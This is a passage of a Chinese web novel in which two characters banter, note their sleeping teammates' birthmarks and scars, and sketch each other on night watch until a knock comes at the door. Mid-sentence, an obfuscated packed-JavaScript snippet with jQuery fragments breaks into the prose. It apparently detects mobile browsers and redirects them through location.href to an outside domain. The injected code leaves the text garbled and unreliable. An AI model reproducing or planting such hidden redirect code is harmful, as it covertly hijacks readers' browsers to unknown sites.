聂望舒手指摩挲着她的耳垂,痒得她直缩脖子,拍开他的手。
他笑了笑:“耳垂有红痣,可是有福气、长寿的象征。小舟同志,你的福气在后头。”
这话南舟月爱听,摸摸自己的耳垂:“借您吉言咯!”
她也抬头细看聂望舒的脸,比起可以摘掉的手表,他更明显的特征,是右眼角两颗小小的泪痣。
别人的泪痣都是一颗,他偏生两颗,出双入对的!
聂望舒被她看得怪尴尬的,瞥开目光:“我脸上有什么东西吗?”
“有啊。”南舟月轻轻戳他眼角,“两颗老鼠屎。”
聂望舒一愣,反应过来,手臂箍住她的脖子,对着她的头发一通乱揉:“你才老鼠屎!”
南舟月一边笑,一边掐他的腰,可这小腰上的肉还挺紧实,愣是掐不上来,反而把他痒笑了。他瞬间松手,捂住自己的肚子,好像被占便宜了似的。
南舟月假装什么都没有发生:“别闹了,去看看我们的队友。”
他们几个都睡得跟死猪似的,只有秦止在他俩进门时,睁眼瞥了一下,然后继续睡。
南舟月捡了个角落坐下,开始认真观察他们。
阿丙的左脸颊有一个痦子,“防伪标识”很明显。
聂无念左边眉毛上有一小块淡红色的胎记,秦止左手戴了一条朱砂手串,聂无双右手腕上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369674|178255||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
纹了一圈不知名梵文。
冯阿娣缩在角落,南舟月伸得脖子都酸了,终于发现她右手手背上,有一道伤疤。
心里有了底,南舟月放松地伸了一个懒腰。要说困意真的会传染,昏黄的灯泡摇摇晃晃,看他们睡得这么香,她也开始犯困了。
“困了?去睡吧,我一个人守夜就行。”聂望舒轻声说。
那怎么行?南舟月嘴硬:“我不困。”
为了提神,她拿出画本,叼着画笔思考要画点什么。
看着对面坐在光影中的聂望舒,不知道画什么,那就画人吧。
聂望舒瞄了她一眼:“你在画我吗?”
“嗯,荣幸吧?”南舟月把他的脑袋掰回去,调整到她满意的角度,“你别动!”
聂望舒乖乖坐着不动,把自己当成一块石头。
“我记得你不爱画人像的,以前没给其他男的画过吧?”
南舟月有些无语:“画过我也不记得了,现在就当是第一次画吧。”
聂望舒抿嘴暗爽,被南舟月瞪了一眼,赶忙调整好自己的表情。
周围除了风声、海浪声、其他人平稳的呼吸声,就只有画笔在画纸上沙沙作响,独有一份安谧。
聂望舒时不时偷偷瞄她一眼,腿脚都坐麻了,愣是不敢乱动一下。
南舟月一旦沉浸在画作中,便会非常安静,仿佛这世间只有她一个人。
聂望舒的眉眼、鼻梁、薄唇,都在她脑海里刻录成型,轩然纸上。
突然,门外传来一阵急促的叩响!
他们齐齐转头,目露惊异。屋里所有人都在,那外面敲门的,是谁!
聂望舒单手下压,示意她